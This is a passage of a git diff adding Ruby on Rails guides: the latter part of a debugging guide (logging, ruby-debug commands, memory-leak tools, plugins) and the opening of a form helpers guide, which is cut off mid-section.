+ updated_at: 2008-09-05 22:55:47 + body: It's a very helpful guide for debugging your Rails app. + title: Rails debugging guide + published: t + id: "1" + created_at: 2008-09-05 22:55:47 +attributes_cache: {} + + +Title: Rails debugging guide +</yaml> + +h4. +to_yaml+ + +Displaying an instance variable, or any other object or method, in yaml format can be achieved this way: + +<html> +<%= simple_format @post.to_yaml %> +<p> + <b>Title:</b> + <%=h @post.title %> +</p> +</html> + +The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic. + +As a result of this, you will have something like this in your view: + +<yaml> +--- !ruby/object:Post +attributes: +updated_at: 2008-09-05 22:55:47 +body: It's a very helpful guide for debugging your Rails app. +title: Rails debugging guide +published: t +id: "1" +created_at: 2008-09-05 22:55:47 +attributes_cache: {} + +Title: Rails debugging guide +</yaml> + +h4. +inspect+ + +Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example: + +<html> +<%= [1, 2, 3, 4, 5].inspect %> +<p> + <b>Title:</b> + <%=h @post.title %> +</p> +</html> + +Will be rendered as follows: + +<pre> +[1, 2, 3, 4, 5] + +Title: Rails debugging guide +</pre> + +h4. Debugging JavaScript + +Rails has built-in support to debug RJS, to active it, set +ActionView::Base.debug_rjs+ to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). + +To enable it, add the following in the +Rails::Initializer do |config|+ block inside +environment.rb+: + +<ruby> +config.action_view[:debug_rjs] = true +</ruby> + +Or, at any time, setting +ActionView::Base.debug_rjs+ to _true_: + +<ruby> +ActionView::Base.debug_rjs = true +</ruby> + +TIP: For more information on debugging javascript refer to "Firebug":http://getfirebug.com/, the popular debugger for Firefox. + +h3. The Logger + +It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. + +h4. What is the Logger? + +Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4R+ if you wish. + +You can specify an alternative logger in your +environment.rb+ or any environment file: + +<ruby> +ActiveRecord::Base.logger = Logger.new(STDOUT) +ActiveRecord::Base.logger = Log4r::Logger.new("Application Log") +</ruby> + +Or in the +Initializer+ section, add _any_ of the following + +<ruby> +config.logger = Logger.new(STDOUT) +config.logger = Log4r::Logger.new("Application Log") +</ruby> + +TIP: By default, each log is created under +RAILS_ROOT/log/+ and the log file name is +environment_name.log+. + +h4. Log Levels + +When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +ActiveRecord::Base.logger.level+ method. + +The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use + +<ruby> +config.log_level = Logger::WARN # In any environment initializer, or +ActiveRecord::Base.logger.level = 0 # at any time +</ruby> + +This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information. + +TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode. + +h4. Sending Messages + +To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer: + +<ruby> +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +logger.info "Processing the request..." +logger.fatal "Terminating application, raised unrecoverable error!!!" +</ruby> + +Here's an example of a method instrumented with extra logging: + +<ruby> +class PostsController < ApplicationController + # ... + + def create + @post = Post.new(params[:post]) + logger.debug "New post: #{@post.attributes.inspect}" + logger.debug "Post should be valid: #{@post.valid?}" + + if @post.save + flash[:notice] = 'Post was successfully created.' + logger.debug "The post was saved and now is the user is going to be redirected..." + redirect_to(@post) + else + render :action => "new" + end + end + + # ... +end +</ruby> + +Here's an example of the log generated by this method: + +<shell> +Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] + Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl +vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 + Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", + "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, + "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"} +New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", + "published"=>false, "created_at"=>nil} +Post should be valid: true + Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published", + "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', + 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') +The post was saved and now is the user is going to be redirected... +Redirected to #<Post:0x20af760> +Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts] +</shell> + +Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia. + +h3. Debugging with +ruby-debug+ + +When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. + +The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code. + +h4. Setup + +The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run: + +<shell> +$ sudo gem install ruby-debug +</shell> + +In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/. + +Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method. + +Here's an example: + +<ruby> +class PeopleController < ApplicationController + def new + debugger + @person = Person.new + end +end +</ruby> + +If you see the message in the console or logs: + +<shell> +***** Debugger requested, but was not available: Start server with --debugger to enable ***** +</shell> + +Make sure you have started your web server with the option +--debugger+: + +<shell> +~/PathTo/rails_project$ script/server --debugger +=> Booting Mongrel (use 'script/server webrick' to force WEBrick) +=> Rails 2.2.0 application starting on http://0.0.0.0:3000 +=> Debugger enabled +... +</shell> + +TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+. + +In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported. + +h4. The Shell + +As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. + +If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request. + +For example: + +<shell> +@posts = Post.find(:all) +(rdb:7) +</shell> + +Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?) + +<shell> +(rdb:7) help +ruby-debug help v0.10.2 +Type 'help <command-name>' for help on a specific command + +Available commands: +backtrace delete enable help next quit show trace +break disable eval info p reload source undisplay +catch display exit irb pp restart step up +condition down finish list ps save thread var +continue edit frame method putl set tmate where +</shell> + +TIP: To view the help menu for any command use +help <command-name>+ in active debug mode. For example: _+help var+_ + +The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command. + +This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+. + +<shell> +(rdb:7) list +[1, 10] in /PathToProject/posts_controller.rb + 1 class PostsController < ApplicationController + 2 # GET /posts + 3 # GET /posts.xml + 4 def index + 5 debugger +=> 6 @posts = Post.find(:all) + 7 + 8 respond_to do |format| + 9 format.html # index.html.erb + 10 format.xml { render :xml => @posts } +</shell> + +If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out. + +<shell> +(rdb:7) l +[11, 20] in /PathTo/project/app/controllers/posts_controller.rb + 11 end + 12 end + 13 + 14 # GET /posts/1 + 15 # GET /posts/1.xml + 16 def show + 17 @post = Post.find(params[:id]) + 18 + 19 respond_to do |format| + 20 format.html # show.html.erb +</shell> + +And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. + +h4. The Context + +When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. + +ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. + +At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer. + +<shell> +(rdb:5) where + #0 PostsController.index + at line /PathTo/project/app/controllers/posts_controller.rb:6 + #1 Kernel.send + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 + #2 ActionController::Base.perform_action_without_filters + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 + #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...) + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617 +... +</shell> + +You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number. + +<shell> +(rdb:5) frame 2 +#2 ActionController::Base.perform_action_without_filters + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 +</shell> + +The available variables are the same as if you were running the code line by line. After all, that's what debugging is. + +Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. + +h4. Threads + +The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options: + +* +thread+ shows the current thread. +* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +* +thread stop _n_+ stop thread _n_. +* +thread resume _n_+ resumes thread _n_. +* +thread switch _n_+ switches the current thread context to _n_. + +This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code. + +h4. Inspecting Variables + +Any expression can be evaluated in the current context. To evaluate an expression, just type it! + +This example shows how you can print the instance_variables defined within the current context: + +<shell> +@posts = Post.find(:all) +(rdb:11) instance_variables +["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"] +</shell> + +As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide). + +<shell> +(rdb:11) next +Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET] + Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e + Parameters: {"action"=>"index", "controller"=>"posts"} +/PathToProject/posts_controller.rb:8 +respond_to do |format| +</shell> + +And then ask again for the instance_variables: + +<shell> +(rdb:11) instance_variables.include? "@posts" +true +</shell> + +Now +@posts+ is a included in the instance variables, because the line defining it was executed. + +TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. + +The +var+ method is the most convenient way to show variables and their values: + +<shell> +var +(rdb:1) v[ar] const <object> show constants of object +(rdb:1) v[ar] g[lobal] show global variables +(rdb:1) v[ar] i[nstance] <object> show instance variables of object +(rdb:1) v[ar] l[ocal] show local variables +</shell> + +This is a great way to inspect the values of the current context variables. For example: + +<shell> +(rdb:9) var local + __dbg_verbose_save => false +</shell> + +You can also inspect for an object method this way: + +<shell> +(rdb:9) var instance Post.new +@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"... +@attributes_cache = {} +@new_record = true +</shell> + +TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. + +You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. + +<shell> +(rdb:1) display @recent_comments +1: @recent_comments = +</shell> + +The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example). + +h4. Step by Step + +Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution. + +Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug. + +TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively. + +You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. + +The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods. + +For example, consider this block of code with an included +debugger+ statement: + +<ruby> +class Author < ActiveRecord::Base + has_one :editorial + has_many :comments + + def find_recent_comments(limit = 10) + debugger + @recent_comments ||= comments.find( + :all, + :conditions => ["created_at > ?", 1.week.ago], + :limit => limit + ) + end +end +</ruby> + +TIP: You can use ruby-debug while using script/console. Just remember to +require "ruby-debug"+ before calling the +debugger+ method. + +<shell> +/PathTo/project $ script/console +Loading development environment (Rails 2.1.0) +>> require "ruby-debug" +=> [] +>> author = Author.first +=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10"> +>> author.find_recent_comments +/PathTo/project/app/models/author.rb:11 +) +</shell> + +With the code stopped, take a look around: + +<shell> +(rdb:1) list +[6, 15] in /PathTo/project/app/models/author.rb + 6 debugger + 7 @recent_comments ||= comments.find( + 8 :all, + 9 :conditions => ["created_at > ?", 1.week.ago], + 10 :limit => limit +=> 11 ) + 12 end + 13 end +</shell> + +You are at the end of the line, but... was this line executed? You can inspect the instance variables. + +<shell> +(rdb:1) var instance +@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... +@attributes_cache = {} +</shell> + ++@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code: + +<shell> +(rdb:1) next +/PathTo/project/app/models/author.rb:12 +@recent_comments +(rdb:1) var instance +@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... +@attributes_cache = {} +@comments = [] +@recent_comments = [] +</shell> + +Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed. + +If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. + +h4. Breakpoints + +A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line. + +You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually: + +* +break line+: set breakpoint in the _line_ in the current source file. +* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. +* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line. + +<shell> +(rdb:5) break 10 +Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10 +</shell> + +Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. + +<shell> +(rdb:5) info breakpoints +Num Enb What + 1 y at filters.rb:10 +</shell> + +To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. + +<shell> +(rdb:5) delete 1 +(rdb:5) info breakpoints +No breakpoints. +</shell> + +You can also enable or disable breakpoints: + +* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. +* +disable breakpoints+: the _breakpoints_ will have no effect on your program. + +h4. Catching Exceptions + +The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. + +To list all active catchpoints use +catch+. + +h4. Resuming Execution + +There are two ways to resume execution of an application that is stopped in the debugger: + +* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. +* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. + +h4. Editing + +Two commands allow you to open code from the debugger into an editor: + +* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. +* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified. + +h4. Quitting + +To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+. + +A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. + +h4. Settings + +There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options: + +* +set reload+: Reload source code when changed. +* +set autolist+: Execute +list+ command on every breakpoint. +* +set listsize _n_+: Set number of source lines to list by default to _n_. +* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line + +You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command. + +TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly. + +Here's a good start for an +.rdebugrc+: + +<shell> +set autolist +set forcestep +set listsize 25 +</shell> + +h3. Debugging Memory Leaks + +A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level. + +In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools. + +h4. BleakHouse + +"BleakHouse":http://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks. + +If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap. + +To install it run: + +<shell> +sudo gem install bleak_house +</shell> + +Then setup your application for profiling. Then add the following at the bottom of config/environment.rb: + +<ruby> +require 'bleak_house' if ENV['BLEAK_HOUSE'] +</ruby> + +Start a server instance with BleakHouse integration: + +<shell> +RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server +</shell> + +Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+: + +<shell> +** BleakHouse: working... +** BleakHouse: complete +** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze. +</shell> + +To analyze it, just run the listed command. The top 20 leakiest lines will be listed: + +<shell> + 191691 total objects + Final heap size 191691 filled, 220961 free + Displaying top 20 most common line/class pairs + 89513 __null__:__null__:__node__ + 41438 __null__:__null__:String + 2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array + 1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String + 1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String + 951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String + 935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String + 834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array + ... +</shell> + +This way you can find where your application is leaking memory and fix it. + +If "BleakHouse":http://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further. + +h4. Valgrind + +"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions. + +There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates. + +For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver. + +h3. Plugins for Debugging + +There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging: + +* "Footnotes":http://github.com/drnic/rails-footnotes/tree/master: Every Rails page has footnotes that give request information and link back to your source via TextMate. +* "Query Trace":http://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs. +* "Query Stats":http://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries. +* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. +* "Exception Notifier":http://github.com/rails/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +* "Exception Logger":http://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them. + +h3. References + +* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug +* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/ +* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/ +* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug +* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace +* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger +* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html +* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ +* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging +* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5 + +* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops +* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy +* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile new file mode 100644 index 0000000000..22d24b0903 --- /dev/null +++ b/railties/guides/source/form_helpers.textile @@ -0,0 +1,766 @@ +h2. Rails Form helpers + +Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. + +In this guide you will: + +* Create search forms and similar kind of generic forms not representing any specific model in your application +* Make model-centric forms for creation and editing of specific database records +* Generate select boxes from multiple types of data +* Understand the date and time helpers Rails provides +* Learn what makes a file upload form different +* Find out where to look for complex forms + +endprologue. + +NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference. + + +h3. Dealing with Basic Forms + +The most basic form helper is +form_tag+. + +<erb> +<% form_tag do %> + Form contents +<% end %> +</erb> + +When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability): + +Sample output from +form_tag+: + +<html> +<form action="/home/index" method="post"> + <div style="margin:0;padding:0"> + <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> + </div> + Form contents +</form> +</html> + +If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf. + +NOTE: Throughout this guide, this +div+ with the hidden input will be stripped away to have clearer code samples. + +h4. A Generic Search Form + +Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: + +# a form element with "GET" method, +# a label for the input, +# a text input element, and +# a submit element. + +IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. + +To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. + +A basic search form + +<html> +<% form_tag(search_path, :method => "get") do %> + <%= label_tag(:q, "Search for:") %> + <%= text_field_tag(:q) %> + <%= submit_tag("Search") %> +<% end %> +</html> + +TIP: +search_path+ can be a named route specified in "routes.rb": <pre>map.search "search", :controller => "search"</pre> + +The above view code will result in the following markup: + +<html> +<form action="/search" method="get"> + <label for="q">Search for:</label> + <input id="q" name="q" type="text" /> + <input name="commit" type="submit" value="Search" /> +</form> +</html> + +Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML. + +TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. + +h4. Multiple Hashes in Form Helper Calls + +By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. + +As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments: + +<ruby> +form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") +# => <form action="/people/search?method=get&class=nifty_form" method="post"> +</ruby> + +Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets: + +<ruby> +form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") +# => <form action="/people/search" method="get" class="nifty_form"> +</ruby> + +This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. + +WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error. + +h4. Helpers for Generating Form Elements + +Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+, +check_box_tag+, etc., generate just a single +<input>+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains + +<erb> +<%= text_field_tag(:query) %> +</erb> + +then the controller code should use + +<ruby> +params[:query] +</ruby> + +to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. + +h5. Checkboxes + +Checkboxes are form controls that give the user a set of options they can enable or disable: + +<erb> +<%= check_box_tag(:pet_dog) %> + <%= label_tag(:pet_dog, "I own a dog") %> +<%= check_box_tag(:pet_cat) %> + <%= label_tag(:pet_cat, "I own a cat") %> + +output: + +<input id="pet_dog" name="pet_dog" type="checkbox" value="1" /> + <label for="pet_dog">I own a dog</label> +<input id="pet_cat" name="pet_cat" type="checkbox" value="1" /> + <label for="pet_cat">I own a cat</label> +</erb> + +The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns. + +h5. Radio Buttons + +Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one): + +<erb> +<%= radio_button_tag(:age, "child") %> + <%= label_tag(:age_child, "I am younger than 21") %> +<%= radio_button_tag(:age, "adult") %> + <%= label_tag(:age_adult, "I'm over 21") %> + +output: + +<input id="age_child" name="age" type="radio" value="child" /> + <label for="age_child">I am younger than 21</label> +<input id="age_adult" name="age" type="radio" value="adult" /> + <label for="age_adult">I'm over 21</label> +</erb> + +As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult". + +IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. + +h4. Other Helpers of Interest + +Other form controls worth mentioning are the text area, password input and hidden input: + +<erb> +<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> +<%= password_field_tag(:password) %> +<%= hidden_field_tag(:parent_id, "5") %> + +output: + +<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea> +<input id="password" name="password" type="password" /> +<input id="parent_id" name="parent_id" type="hidden" value="5" /> +</erb> + +Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript. + +TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating +filter_parameter_logging(:password)+ in your ApplicationController. + + +h3. Dealing with Model Objects + +h4. Model Object Helpers + +A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+. + +For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing: + +<erb> +<%= text_field(:person, :name) %> +</erb> + +will produce output similar to + +<erb> +<input id="person_name" name="person[name]" type="text" value="Henry"/> +</erb> + 